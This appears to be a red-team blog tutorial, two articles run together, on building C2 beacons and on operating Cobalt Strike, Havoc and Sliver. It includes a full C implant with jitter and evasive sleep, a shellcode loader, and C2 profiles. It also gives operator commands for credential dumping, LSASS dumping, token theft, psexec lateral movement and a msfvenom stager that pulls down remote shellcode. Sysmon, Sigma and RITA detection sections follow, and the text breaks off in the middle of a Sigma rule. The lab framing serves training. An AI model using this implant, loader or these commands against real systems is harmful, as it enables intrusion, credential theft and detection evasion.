A 60-second base with 25% jitter produces check-ins between 45 and 75 seconds. With 0% jitter, every interval is identical, and even a basic autocorrelation on Zeek conn.log timestamps lights up like a Christmas tree.

Cobalt Strike accepts jitter values 0 through 99. In practice, anything below 15% is still fairly detectable by RITA. For initial access, 40-60% jitter during the first 24 to 72 hours is a reasonable starting point.

The C Implementation

#include <windows.h>

// RtlRandomEx is exported by ntdll.dll
extern ULONG NTAPI RtlRandomEx(PULONG Seed);

DWORD compute_sleep(DWORD base_ms, DWORD jitter_pct, PULONG seed) {
    if (jitter_pct == 0) return base_ms;
    DWORD range = (base_ms * jitter_pct) / 100;
    DWORD rnd   = RtlRandomEx(seed) % (range * 2 + 1);
    return (base_ms - range) + rnd;
}

RtlRandomEx is available from user mode without any special stubs on all modern Windows versions. Link against ntdll.lib (or -lntdll with MinGW). If you want to avoid the import, seed rand() with GetTickCount(), but the randomness quality is worse.

Abstract illustration contrasting perfectly uniform beacon intervals on the left with randomized jittered intervals on the right, symbolizing the difference between detectable and stealthy beaconing cadence
Zero-percent jitter produces a perfectly periodic signal that autocorrelation catches trivially; even modest jitter breaks the uniform pattern.

4. Phase-Aware Beaconing

A flat 30-second sleep for the entire engagement is operationally stupid. Real operators shift cadence by phase:

PhaseSleepJitterRationale
Initial access (0-72h)60-180s40-60%Validate the foothold without flooding anomaly detection
Active lateral movement5-15s20-30%Operator needs responsiveness during a session
Idle / persistence300-900s50-70%Minimize traffic volume when no tasks are queued
Outside working hours600s+ or pause entirelyN/AWorkstations don’t phone home at 3 AM to random IPs

Working-hours gating is simple to implement and dramatically reduces the beacon’s exposure window. We’ll add it to the lab implant in Step 6 below.

5. Protocol Selection and Traffic Shaping

The protocol you pick depends on what egress the target environment allows.

ChannelWhen to use itDetection surface
HTTP/S (WinHttpOpen / WinHttpSendRequest)Default; nearly always allowed outboundJA3 fingerprint, header ordering, URI patterns, certificate inspection
DNS (DnsQuery_A)When HTTP egress is locked down; very slowSysmon EID 22; high query volume to a single domain; long subdomain labels
SMB named pipePeer-to-peer lateral within a network; no egress neededSysmon EID 17/18; default pipe names like msagent_*
Raw TCP (connect / send / recv)Custom protocols; rare in mature environmentsUnusual ports; unrecognized protocol on wire

For HTTP/S, the beacon’s User-Agent, header order, and TLS fingerprint matter. Out-of-the-box Go implants (Sliver) present a JA3 hash matching crypto/tls that public databases flag within days. Malleable C2 profiles exist to control all of this.

6. Lab: Build a Minimal C Beacon and Catch It

Lab Setup

  • Attacker VM: Kali or Ubuntu with Python 3 + Flask installed. This runs the listener.
  • Victim VM: Windows 10/11 with Sysmon installed (SwiftOnSecurity config), Wireshark running.
  • Network: Host-only or NAT network. The two VMs can reach each other on TCP 8080.

Step 1: Write the Listener

from flask import Flask, request
import datetime, json

app = Flask(__name__)

@app.route("/api/v1/status", methods=["GET"])
def checkin():
    ts = datetime.datetime.utcnow().isoformat()
    ua = request.headers.get("User-Agent", "unknown")
    print(f"[+] {ts}  src={request.remote_addr}  UA={ua}")
    return json.dumps({"task": "none"}), 200

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

Start it: python3 listener.py. Every beacon check-in prints a timestamped line.

Step 2: Write the Implant

#include <windows.h>
#include <winhttp.h>
#include <stdio.h>

// ntdll imports
extern ULONG NTAPI RtlRandomEx(PULONG Seed);
typedef NTSTATUS (NTAPI *pfnNtDelayExecution)(BOOLEAN, PLARGE_INTEGER);

DWORD compute_sleep(DWORD base_ms, DWORD jitter_pct, PULONG seed) {
    if (jitter_pct == 0) return base_ms;
    DWORD range = (base_ms * jitter_pct) / 100;
    DWORD rnd   = RtlRandomEx(seed) % (range * 2 + 1);
    return (base_ms - range) + rnd;
}

BOOL checkin(LPCWSTR host, INTERNET_PORT port, LPCWSTR path) {
    HINTERNET hSession = WinHttpOpen(
        L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (!hSession) return FALSE;

    HINTERNET hConnect = WinHttpConnect(hSession, host, port, 0);
    if (!hConnect) { WinHttpCloseHandle(hSession); return FALSE; }

    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path,
        NULL, WINHTTP_NO_REFERER,
        WINHTTP_DEFAULT_ACCEPT_TYPES, 0);

    BOOL ok = WinHttpSendRequest(hRequest,
        WINHTTP_NO_ADDITIONAL_HEADERS, 0,
        WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
    if (ok) WinHttpReceiveResponse(hRequest, NULL);

    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return ok;
}

int main(void) {
    DWORD base_ms    = 30000;  // 30-second base interval
    DWORD jitter_pct = 25;     // +/- 25%
    ULONG seed       = GetTickCount();

    // Resolve NtDelayExecution for evasive sleep
    pfnNtDelayExecution pDelay = (pfnNtDelayExecution)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDelayExecution");

    while (1) {
        checkin(L"192.168.56.10", 8080, L"/api/v1/status");

        DWORD sleep_ms = compute_sleep(base_ms, jitter_pct, &seed);

        if (pDelay) {
            LARGE_INTEGER li;
            li.QuadPart = -(LONGLONG)sleep_ms * 10000;  // ms -> 100ns
            pDelay(FALSE, &li);
        } else {
            Sleep(sleep_ms);  // fallback
        }
    }
}

Step 3: Cross-Compile

x86_64-w64-mingw32-gcc beacon.c -o beacon.exe -lwinhttp -lntdll -mwindows

Copy beacon.exe to the Windows VM and run it. You should see check-in lines appearing on the listener console at roughly 22 to 37 second intervals (30s +/- 25%).

Step 4: Capture and Analyze Timing

On the victim VM, capture traffic with Wireshark or on the attacker side with tshark:

tshark -r beacon.pcapng -Y "http.request.method == GET" \
    -T fields -e frame.time_relative -e http.host -e http.request.uri

Compute inter-arrival deltas. With 0% jitter (change the code, recompile, rerun) the delta column is a flat 30.0, 30.0, 30.0. Trivially detectable. With 25% jitter, you get 26.4, 33.1, 22.8, 29.7. Still detectable by statistical analysis, but no longer by a simple “fixed interval” rule.

Step 5: Add Working-Hours Gating

Insert this at the top of the while loop:

SYSTEMTIME st;
GetLocalTime(&st);
if (st.wHour < 9 || st.wHour >= 17) {
    Sleep(600000);   // 10-minute idle outside business hours
    continue;
}

Now the beacon goes nearly silent outside 09:00 to 17:00. Rerun and confirm in the capture: traffic drops to one connection every 10 minutes after 5 PM.

Step 6: Feed to RITA

Export the capture as Zeek logs (or run Zeek directly on the attacker interface), then import:

zeek -r beacon.pcapng
rita import ./ lab_beacon
rita show-beacons lab_beacon

RITA scores beaconing by analyzing connection frequency, byte-count regularity, and interval consistency. Even with 25% jitter, our beacon scores high because the byte counts are uniform and the connection count is elevated. The data_jitter concept (padding responses with random null bytes) exists specifically to defeat this byte-count analysis.


7. Cobalt Strike Malleable C2 Profiles: Field-by-Field

A Malleable C2 profile controls every byte of beacon traffic. The key global fields:

set sleeptime "60000";        # ms between check-ins
set jitter    "37";           # percentage variance
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set data_jitter "128";        # random null-byte padding on responses (bytes)
set maxdns    "255";          # max DNS label length for DNS beacons
set pipename  "msagent_###";  # SMB pipe name; ### = random hex
set sleep_mask "true";        # obfuscate beacon in-memory during sleep

The profile then defines http-get and http-post blocks that control the request/response structure:

http-get {
    set uri "/api/v1/updates";
    client {
        header "Accept" "application/json";
        metadata {
            base64url;
            header "Cookie";   # encoded host metadata goes into Cookie header
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64;
            print;             # task data in response body
        }
    }
}

Metadata encoding options are base64, base64url, netbios, and netbiosu. Termination statements (where to place the encoded data) are print (body), header, parameter, and uri-append.

Validate every profile with c2lint before loading. A profile that fails c2lint can break staging or cause the beacon to crash on check-in. I have seen profiles pass c2lint on 4.5 and silently break on 4.7 because of tightened validation, so always test against the exact version you’re running.


8. Defensive Strategies and Detection

Sysmon Event IDs

Event IDNameWhat to hunt
3Network ConnectionPeriodic outbound from unusual processes; correlate Image, DestinationIp, DestinationPort
1Process CreationBeacon process lineage; download cradle command lines
22DNS QueryHigh-volume queries to a single domain; long subdomain labels (DNS beaconing)
17Pipe CreatedNamed pipes matching Cobalt Strike defaults (msagent_*, postex_*)
18Pipe ConnectedConnections to suspicious pipes (SMB lateral C2)

Sigma Rule: Periodic Outbound from LOLBin

title: Periodic Outbound HTTP from Script Host or LOLBin
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 3
    Initiated: 'true'
    Image|endswith:
      - '\rundll32.exe'
      - '\regsvr32.exe'
      - '\mshta.exe'
      - '\wscript.exe'
      - '\cscript.exe'
    DestinationPort:
      - 80
      - 443
      - 8080
      - 8443
  condition: selection
  # In practice, pair with SIEM aggregation: count() by Image, DestinationIp > 10 in 1h
falsepositives:
  - Legitimate update mechanisms
level: medium
tags:
  - attack.command_and_control
  - attack.t1071.001

Note: the count() by ... > 10 aggregation requires SIEM-level correlation (Elastic EQL, Splunk stats, or Sentinel KQL). Pure Sigma handles the filter; the aggregation is a SIEM rule on top.

ETW Providers Worth Enabling

ProviderWhat it gives you
Microsoft-Windows-WinHttpFull WinHTTP request lifecycle, catches WinHttpSendRequest calls
Microsoft-Windows-DNS-ClientDNS queries at the resolver level; pairs with Sysmon EID 22
Microsoft-Windows-TCPIPTCP state changes for raw-socket beacons

Network-Level Detection

RITA (rita show-beacons) remains the single most effective tool for identifying beaconing in Zeek logs. It scores connections by interval regularity, byte-count consistency, and connection count. Even heavily jittered beacons with uniform response sizes score high.

JA3/JA3S fingerprinting catches default TLS stacks. Compare hashes against ja3er.com; a Go crypto/tls fingerprint from a process that isn’t a known Go application is a strong signal.

Hardening Checklist

  • Block direct-to-internet TCP 80/443 from non-browser processes at the firewall.
  • Perform TLS inspection at the proxy; flag unknown JA3 hashes.
  • Sinkhole domains registered fewer than 30 days ago via DNS RPZ.
  • Hunt for Cobalt Strike default pipe names with Sysmon EID 17.
  • Baseline outbound connections by hour; alert on after-hours traffic to uncategorized destinations.
  • Run pe-sieve or Moneta periodically to detect RWX regions characteristic of in-memory beacons, even when sleep_mask is enabled.

Hierarchy diagram showing three detection layers for C2 beaconing: host layer with Sysmon event IDs 3, 22, and 17/18; network layer with RITA beacon scoring and JA3 TLS fingerprinting; and memory layer with RWX region scanning via pe-sieve
Stacking host, network, and memory detection layers forces an attacker to defeat all three simultaneously to sustain long-term beaconing.

9. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Web Protocols (HTTP/S beaconing)T1071.001Sysmon EID 3, proxy logs, RITA
DNS (DNS beaconing)T1071.004Sysmon EID 22, DNS query volume analysis
Encrypted ChannelT1573JA3 fingerprinting, TLS inspection
Standard Encoding (Base64 in headers)T1132.001Payload inspection at proxy
Non-Standard Encoding (netbios encoding)T1132.002Deep packet inspection
Domain FrontingT1090.004CDN log correlation, SNI vs Host header mismatch
Non-Application Layer ProtocolT1095Firewall logs, protocol anomaly detection

10. Tools

ToolDescriptionLink
RITABeacon detection via Zeek log analysisgithub.com/activecm/rita
ZeekNetwork traffic analysis; generates conn.log for timing analysiszeek.org
Wireshark / tsharkPacket capture and protocol dissectionwireshark.org
SysmonWindows system monitor; EID 3/17/22 are criticaldocs.microsoft.com
pe-sieveIn-memory beacon detection; scans for suspicious PE regionsgithub.com/hasherezade/pe-sieve
MonetaMemory scanner for RWX regions and beacon artifactsgithub.com/forrest-orr/moneta
ja3er.comJA3 fingerprint database for TLS client identificationja3er.com
c2lintCobalt Strike profile validatorBundled with Cobalt Strike
x86_64-w64-mingw32-gccMinGW cross-compiler for building Windows implants on Linuxmingw-w64.org

Summary

  • A beacon is a timed loop: wake, check in, sleep. The sleep interval, jitter percentage, and protocol choice determine how long it survives.
  • Zero-percent jitter is an instant detection. Even moderate jitter (25%) gets caught by RITA’s statistical scoring. Combine high jitter (40%+) with data_jitter (variable response padding) and working-hours gating to reduce exposure.
  • NtDelayExecution replaces Sleep to dodge kernel32 hooks, but the network traffic pattern remains the real detection surface.
  • Malleable C2 profiles control every byte on the wire: sleeptime, jitter, data_jitter, User-Agent, header ordering, metadata encoding, and pipe names. Always validate with c2lint.
  • Defenders win by correlating layers: Sysmon EID 3 (network connections) and EID 22 (DNS queries) on the host, RITA and JA3 fingerprinting on the network, and pe-sieve/Moneta in memory. No single layer catches everything, but stacking them makes sustained beaconing very expensive for the operator.

Related Tutorials

References

Introduction to C2 Frameworks: Cobalt Strike, Havoc, and Sliver

You’ve got initial access. A shellcode loader ran, a callback lit up your listener, and now a beacon is sleeping on a Windows Server VM waiting for orders. What actually happens between “I have a session” and “I have DA” is where a Command and Control framework earns its keep. This tutorial walks through the three that matter today, Cobalt Strike, Havoc, and Sliver, from architecture down to real operator commands run against a lab range. I’ll show you where each one shines, where the defender picks it up, and how to reproduce every step yourself.

A quick point of view up front: pick the framework that fits the objective, not the other way around. Cobalt Strike is still the gold standard for mature red team ops because of its BOF ecosystem and malleable profiles, but it costs real money and its default artifacts are the most heavily signatured in the industry. Havoc is what happens when someone writes a modern open-source implant with genuine evasion tradecraft baked in (Ekko sleep, indirect syscalls, hardware breakpoint AMSI patching). Sliver is the boring, reliable workhorse: cross-platform Go, mTLS by default, gRPC multiplayer that just works. You’ll want all three in muscle memory.


1. What a C2 Framework Actually Is

A C2 framework is three things glued together: a team server the operator controls, an implant running on the target, and a listener protocol that ferries tasks and results between them. Everything else (profiles, BOFs, pivoting, sleep obfuscation) is a feature layered on top of that triangle.

TermWhat it actually does
Team ServerAttacker-side hub that accepts operator clients, hosts listeners, queues tasks, and receives implant callbacks
Implant / AgentThe code running on the target, calling home on a schedule or persistent socket
ListenerServer-side handler bound to a port and protocol (HTTP, HTTPS, DNS, SMB pipe, mTLS, WireGuard)
Beacon modeImplant sleeps, wakes on interval, fetches tasks, executes, returns to sleep. Asynchronous
Session modePersistent interactive connection. Synchronous, real-time, easier to catch
StagingSmall initial shellcode pulls the full implant from the C2 over the wire
StagelessFull implant embedded in the first payload. Larger, but no second-stage network fetch
Malleable / Yaotl profileOperator-authored config controlling HTTP shape, headers, URIs, sleep, jitter, evasion knobs
JitterRandomization percentage on sleep. Breaks the periodic beacon rhythm that netflow analytics love
BOF (Beacon Object File)Small position-independent COFF executed in-process. No child process artifacts
RedirectorNginx or Apache in front of the team server, so the implant never touches the real C2 IP

Two concepts do most of the work in operator tradecraft: the beacon/session split (how loud you are on the wire) and the profile (what your traffic looks like when it does go out). Get those two right and half the detection surface disappears.


Diagram showing the C2 framework triangle: operator client connecting to team server, team server hosting a listener behind a redirector, and the implant on the target calling back through the redirector
Every C2 framework reduces to three primitives – team server, listener, and implant – with a redirector hiding the real C2 IP from defenders.

2. Lab Topology

Nothing here goes on the internet. Everything is host-only, reset from snapshots between runs.

ComponentSpecification
Attacker VMKali 2024.x or Ubuntu 22.04, 4 GB RAM, host-only network
Victim VMWindows Server 2022 Evaluation, Defender off for the first exercises, re-enabled for evasion runs
MonitoringSysmon v15 with SwiftOnSecurity config, Winlogbeat forwarding to Elastic + Kibana on the attacker box (or a third VM)
NetworkSingle host-only subnet, e.g. 192.168.56.0/24. Attacker .10, victim .20

Install Sysmon on the victim before you start anything:

Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "C:\Tools\Sysmon.zip"
Expand-Archive C:\Tools\Sysmon.zip -DestinationPath C:\Tools\Sysmon
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml" -OutFile C:\Tools\Sysmon\sysmon.xml
C:\Tools\Sysmon\Sysmon64.exe -accepteula -i C:\Tools\Sysmon\sysmon.xml

Confirm the service is up with Get-Service Sysmon64 and open Applications and Services Logs > Microsoft > Windows > Sysmon > Operational in Event Viewer. Every screenshot in this tutorial assumes those events are flowing.


3. Cobalt Strike Architecture

Cobalt Strike was written by Raphael Mudge in 2012 and is now maintained by Fortra. The whole product is a single Java JAR that runs as either a team server or a client depending on arguments. The team server listens on TCP 50050 for operator clients by default and hosts one or more listeners for beacon callbacks.

The Beacon implant is the crown jewel. It is in-memory, reflectively loaded shellcode that supports HTTP, HTTPS, DNS, SMB named pipes, and forward/reverse TCP. Beacons can daisy-chain, meaning a beacon on host A can proxy the C2 traffic of a beacon on host B through an SMB pipe. That is how internal networks with tight egress rules get fully covered from a single external callback.

Configuration lives in Malleable C2 profiles. This is the file that decides what a Beacon HTTP request looks like on the wire. Change the URI, forge the headers, encode the tasks inside a fake image, tune the sleep. The .cobaltstrike.beacon_keys file in the team server directory holds the RSA keypair. If two Beacons decrypt with the same public key, they came from the same keystore, which is exactly what threat intel teams pivot on when they cluster CS infrastructure.

The extensibility story is Aggressor Script (.cna files, a Java-like DSL) for automation and the Artifact Kit for building custom shellcode loaders when Fortra’s defaults get signatured (they always do).

ComponentPurpose
teamserverBash wrapper that launches the JAR in server mode on TCP 50050
cobaltstrike (client)Same JAR, GUI mode, connects to team server
BeaconIn-memory implant, staged or stageless
Malleable C2 profileWire-shape and sleep configuration
Aggressor Script.cna scripts extending the client and Beacon
Artifact KitSource project for custom loader/shellcode wrappers
ExternalC2Named-pipe API for third-party transports

MITRE tracks Cobalt Strike as S0154 and lists over 30 named threat groups actively abusing cracked copies. Every default artifact this framework emits, pipe names, spawn-to processes, JARM fingerprints, is public knowledge. Assume the blue team knows all of them.


4. Cobalt Strike Hands-On

Assuming a licensed copy in ~/cobaltstrike/, on the attacker VM:

cd ~/cobaltstrike
sudo ./teamserver 192.168.56.10 'LabPassw0rd!' ./profiles/webbug_getonly.profile
# Team server binds TCP 50050 for the client
./cobaltstrike client &

Connect the client to 192.168.56.10:50050. In the GUI: Cobalt Strike > Listeners > Add, pick windows/beacon_https, host 192.168.56.10, port 443.

Generate a stageless raw shellcode payload: Attacks > Packages > Windows Stageless Payload > x64 > Raw > Save as beacon.bin.

Now the lab loader. This is the classic four-API shellcode runner (VirtualAlloc, RtlCopyMemory, VirtualProtect, CreateThread). Compile with mingw on Kali:

// loader.c - lab shellcode runner. Not production. Not evasion-grade.
#include <windows.h>
#include <stdio.h>

int main(int argc, char** argv) {
    if (argc != 2) { printf("usage: %s beacon.bin\n", argv[0]); return 1; }
    FILE* f = fopen(argv[1], "rb");
    fseek(f, 0, SEEK_END); long sz = ftell(f); rewind(f);
    unsigned char* sc = (unsigned char*)malloc(sz);
    fread(sc, 1, sz, f); fclose(f);

    LPVOID mem = VirtualAlloc(NULL, sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlCopyMemory(mem, sc, sz);
    DWORD oldp = 0;
    VirtualProtect(mem, sz, PAGE_EXECUTE_READ, &oldp);
    HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
    WaitForSingleObject(h, INFINITE);
    return 0;
}
x86_64-w64-mingw32-gcc loader.c -o loader.exe -s
# Transfer loader.exe + beacon.bin to the victim VM

Run loader.exe beacon.bin on the victim. Within one sleep cycle the Beacon appears in the client. Right-click, Interact, and drive it:

beacon> sleep 5 20
beacon> shell whoami /all
beacon> ps
beacon> inject 4728 x64 https_listener
beacon> hashdump
beacon> jump psexec64 WIN-DC01 https_listener
beacon> link 192.168.56.30 status_9c1a

The link at the end is the SMB pipe peer beacon. From now on the beacon on 192.168.56.30 egresses through the first host. No new outbound connection appears from the internal box, which is exactly the point.

The Malleable knobs that matter most:

set sleeptime "5000";
set jitter    "20";

http-get {
    set uri "/updates";
    client {
        header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";
        metadata { base64url; prepend "session="; header "Cookie"; }
    }
}
http-post { set uri "/submit.php"; }

Change the URI, and half the community Sigma rules stop firing. Change the pipe names in stage.smb_frame_header and default pipe rules go blind too. That is the whole point of malleable configs, and it is also why blue teams rely less on static signatures than they used to.


5. Havoc Framework Architecture

Havoc was released in October 2022 by C5pider. The team server is Go with an encrypted WebSocket operator channel, and the client is a Qt GUI. The implant is called the Demon. It is written in C and assembly, ships as EXE, DLL, or raw shellcode, and communicates over HTTP(S) or SMB.

Two things make Havoc feel different from CS. First, evasion is a first-class citizen. It supports sleep obfuscation with Ekko, Ziliean, and FOLIAGE. Ekko encrypts the Demon’s memory region during sleep by kicking off a ROP chain via legitimate Windows timers, so a memory scanner that catches idle beacons finds ciphertext. It also does indirect syscalls (HellsGate/HalosGate style, resolving Nt* syscall numbers at runtime and issuing the syscall stub itself), stack duplication during sleep, and AMSI/ETW patching via hardware breakpoints (setting a DR register on AmsiScanBuffer or EtwEventWrite and using a vectored exception handler to short-circuit the call). None of that is exotic in 2024, but Havoc integrates it in one place.

Second, the wire protocol is a custom binary format with AES-256 encryption and a distinctive magic value dead beef in the first bytes of a Demon callback. That magic is a fingerprint if a defender is doing any deep packet inspection.

ComponentTechnical Detail
TeamserverGo binary, encrypted WebSocket to clients
ClientQt GUI
DemonC/ASM implant. EXE/DLL/shellcode outputs
Wire protocolCustom binary, AES-256, magic 0xdeadbeef
DemonConfig()Parses config values baked into the .data section
DemonRoutine()Main loop: connect, task, execute, sleep
Yaotl profile.yaotl file, wire shape and evasion knobs
Sleep obfuscationEkko, Ziliean, FOLIAGE
SyscallsIndirect syscalls with return-address spoofing
BOFsExecuted in-process, no child process artifacts
Token vaultIn-agent memory storage of stolen tokens

Payload generation on the team server side uses mingw-w64 cross-compilers and NASM, which means every Demon is compiled fresh, at generation time, against your config. That kills a whole class of static hash-based signatures.


Illustration of a sleeping demon implant encrypted in memory, symbolizing Havoc's Ekko sleep obfuscation and indirect syscall evasion techniques
Havoc’s Demon encrypts its own memory region during sleep via a ROP-timer chain, rendering idle memory scans blind to its presence.

6. Havoc Hands-On

Build and start:

git clone https://github.com/HavocFramework/Havoc && cd Havoc
sudo apt install -y mingw-w64 nasm python3-dev qtbase5-dev libqt5websockets5-dev
make ts-build && make client-build

Yaotl profile (havoc.yaotl) with the evasion knobs turned on:

Teamserver {
    Host = "0.0.0.0"
    Port = 40056
}

Listeners {
    Http {
        Name    = "https-lab"
        Hosts   = [ "192.168.56.10" ]
        Port    = 443
        Secure  = true
        UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
    }
}

Demon {
    Sleep  = 5
    Jitter = 30
    Injection {
        Technique = "Ekko"
        Spawn64   = "C:\\Windows\\System32\\svchost.exe"
    }
}
sudo ./havoc server --profile havoc.yaotl
./havoc client   # in another terminal, connect to 192.168.56.10:40056

In the GUI: Payload > Generate > Demon, format Shellcode, arch x64, listener https-lab, save as demon.bin.

Reuse the same loader.c from the CS section. Copy loader.exe and demon.bin to the victim, run it, and watch the Demon check in. The first 4 bytes of that HTTPS body decrypt to 0xDEADBEEF. Blue side: this is your JA3/JA4 client-hello + payload-magic combo detection.

Drive it:

demon> sysinfo
demon> ps
demon> shell whoami
demon> token steal 640
demon> token list
demon> inject spawn 4432 /root/loot/stage2.bin
demon> dotnet inline-execute /opt/tools/Seatbelt.exe -group=all
demon> bof /opt/bofs/dir-list.o C:\\Users
demon> spawndll 2648 /root/loot/demon.dll

bof is the important one to internalize. Havoc executes Beacon Object Files (Cobalt Strike’s BOF format) directly in-process. No rundll32, no cmd.exe, no child process telemetry, which means Sysmon EID 1 detections for enumeration commands go dark. dotnet inline-execute does the same thing for .NET assemblies, roughly equivalent to CS execute-assembly.

The Python API bridge lets you hook agent checkins:

# hook_checkin.py loaded via Havoc's Python extension interface
def on_agent_checkin(agent):
    print(f"[+] new demon: {agent.NameID} on {agent.Hostname}")
    agent.console_task("shell whoami")

A short war story: the first time I ran Ekko sleep against a memory scanner in the lab, I still got caught, because I forgot the loader itself allocated an RWX region that never got re-protected. Ekko encrypts the Demon’s own image, not the parent loader’s leftovers. The lesson is that a good implant sitting inside a stupid loader still burns. Fix the loader.


7. Sliver Architecture

Sliver comes from Bishop Fox and is written entirely in Go. The server binary manages a BoltDB instance (sliver.db) for implant configs, tasks, and loot. Operators talk to it over mTLS/gRPC. Every implant is compiled at generation time with per-binary asymmetric encryption keys, so cross-implant key reuse (the CS beacon_keys clustering trick) does not work against Sliver.

Transports: HTTP, HTTPS, mTLS (default port 8888), DNS, and WireGuard. WireGuard is worth calling out. The implant brings up the WG tunnel only during check-in, exchanges tasks, tears it down. To network monitoring it looks like brief encrypted UDP bursts to a single peer.

Two modes: Beacon (async, quiet) and Session (persistent, interactive). You can promote a beacon to a session mid-op with interactive and back with background.

ComponentPurpose
sliver-serverGo binary, gRPC + BoltDB + listener host
sliver-clientmTLS/gRPC operator client
ImplantStatically compiled Go binary (~16 MB) or raw shellcode
TransportsmTLS, HTTP(S), DNS, WireGuard
Canary domainsCompile-time domains that trip external DNS if a defender reverses the implant
ArmoryPackage manager for BOFs and extensions
SOCKS5Built-in socks5 start command for pivoting
StagersInterop with msfvenom via stage-listener

Canary domains are a nice defender concession by Bishop Fox: bake a unique domain into the implant at generate-time, and if that domain ever resolves against your DNS, someone reversed your implant. It flips the informational asymmetry.


Flow diagram showing a Sliver implant bringing up a WireGuard tunnel, wrapping mTLS traffic to the sliver-server, exchanging tasks, then tearing the tunnel down, with the operator connected via gRPC
Sliver’s WireGuard transport appears as brief encrypted UDP bursts to network monitors, with per-binary mTLS keys preventing cross-implant clustering.

8. Sliver Hands-On

Install and launch:

curl https://sliver.sh/install | sudo bash
sudo sliver-server

Inside the console:

[server] sliver > mtls --lport 8888
[server] sliver > generate beacon \
    --mtls 192.168.56.10:8888 \
    --os windows --arch amd64 \
    --format exe \
    --seconds 30 --jitter 20 \
    --evasion \
    --save /tmp/beacon.exe

[server] sliver > generate beacon \
    --mtls 192.168.56.10:8888 \
    --os windows --arch amd64 \
    --format shellcode \
    --save /tmp/beacon.bin

The --format shellcode output is raw PIC you feed into the same lab loader. The .exe output is 16 MB of statically-compiled Go, which is huge and obvious. In real ops you almost always want the shellcode variant loaded from a smaller stub, not the raw exe.

Deliver and interact:

[server] sliver > beacons
[server] sliver > use 2c14a2f0
[beacon] sliver > whoami
[beacon] sliver > ps -T
[beacon] sliver > ls C:\\Users
[beacon] sliver > interactive
[session] sliver > shell
[session] sliver > socks5 start --lport 1080
[session] sliver > wg-portfwd add --remote 192.168.56.30:3389

socks5 gives you a local SOCKS proxy on 127.0.0.1:1080 on the attacker box. Point proxychains at it and pivot BloodHound, impacket-secretsdump, whatever, through the implant.

Armory is Sliver’s package manager for community extensions:

[server] sliver > armory install all
[beacon] sliver > sa-whoami
[beacon] sliver > nanodump --pid 660 --write C:\\Windows\\Temp\\dump.dmp

For staged delivery from Metasploit, Sliver plays nicely:

msfvenom -p windows/x64/custom/reverse_winhttp \
    LHOST=192.168.56.10 LPORT=9999 -f exe -o stager.exe
[server] sliver > profiles new --mtls 192.168.56.10:8888 --format shellcode win-x64
[server] sliver > stage-listener --url http://192.168.56.10:9999 --profile win-x64

The msfvenom stager pulls the Sliver implant shellcode over HTTP and reflectively loads it. Small first stage, full implant delivered on demand.


9. Framework Comparison

FeatureCobalt StrikeHavocSliver
LicenseCommercial (Fortra)Open sourceOpen source
LanguageJava (server/client), C (Beacon)Go, C++, Qt, C/ASMGo
TransportsHTTP(S), DNS, SMB pipe, TCPHTTP(S), SMBmTLS, HTTP(S), DNS, WireGuard
Default operator portTCP 50050TCP 40056 (configurable)TCP 31337 (configurable)
Sleep obfuscationVia BOF (community)Ekko / Ziliean / FOLIAGE built-in--evasion flag, community
Indirect syscallsVia BOFBuilt-inCommunity modules
BOF supportNative (invented it)NativeVia Armory (COFFLoader)
ScriptingAggressor .cnaPython APIGo extensions, aliases
Detection profileHighest (most signatured)Moderate, evolvingModerate, well-studied
MITRE Software IDS0154Not cataloguedS0633

Rough operator heuristic: if the engagement demands the strongest post-ex ergonomics and a proper Aggressor-driven workflow, Cobalt Strike still wins. If you need modern evasion out of the box on a zero-budget engagement, Havoc. If you need cross-platform reach and quiet transports (WireGuard, mTLS), Sliver.


10. Common Attacker Techniques

TechniqueDescription
Reflective loader / in-memory implantShellcode maps a PE into RWX/RX memory without touching disk
BOF executionCOFF object runs in the implant’s own process, no child artifacts
Named pipe pivotPeer beacon on \\.\pipe\<name> egresses through parent implant, no new outbound
Token theft / impersonationsteal_token / make_token for lateral movement as another user
execute-assembly / dotnet inline-executeLoad .NET assembly in-process to run offensive C# tooling
Sleep obfuscation (Ekko)ROP-timer chain encrypts implant memory while sleeping
Indirect syscalls (HellsGate)Resolve Nt* SSNs at runtime, bypass user-mode API hooks
AMSI/ETW patchingHardware breakpoints or memory patch to blind runtime telemetry
DNS C2Encrypted task data smuggled in TXT / A record queries
SOCKS5 pivotingTurn the implant into a network proxy for the operator’s tools

11. Detection and Defense

11.1 Sysmon Signals to Watch

Event IDWhat C2 activity produces it
1 (Process Create)Weird parent-child (svchost.exe -> cmd.exe), spawn-to processes from Beacon, rundll32 with no DLL args
3 (Network Connect)Periodic outbound from LOLBins (rundll32.exe, regsvr32.exe, msbuild.exe), non-standard ports
7 (Image Load)Unsigned or anomalous DLLs into common processes
8 (CreateRemoteThread)Classic injection, source and target process mismatch
10 (Process Access)TargetImage: lsass.exe with GrantedAccess: 0x1010 or 0x1410
17/18 (Pipe Created/Connected)Default Cobalt Strike pipes (MSSE-*, postex_*, status_*, msagent_*) or Havoc UUID-named pipes
22 (DNS Query)High-entropy subdomains, high query volume to a single zone (Sliver DNS C2 is loud)

11.2 Sigma Rule for Beaconing LOLBins

title: Suspicious Periodic Network Connect From LOLBin
id: 8a1d6c50-2c9c-4d1d-9b8f-3c9a7fb1c1b5
logsource:
  product: windows
  category: network_connection
detection:
  selection:
    Initiated: 'true'
    Image|endswith:
      - '\rundll32.exe'
      - '\regsvr32.exe'
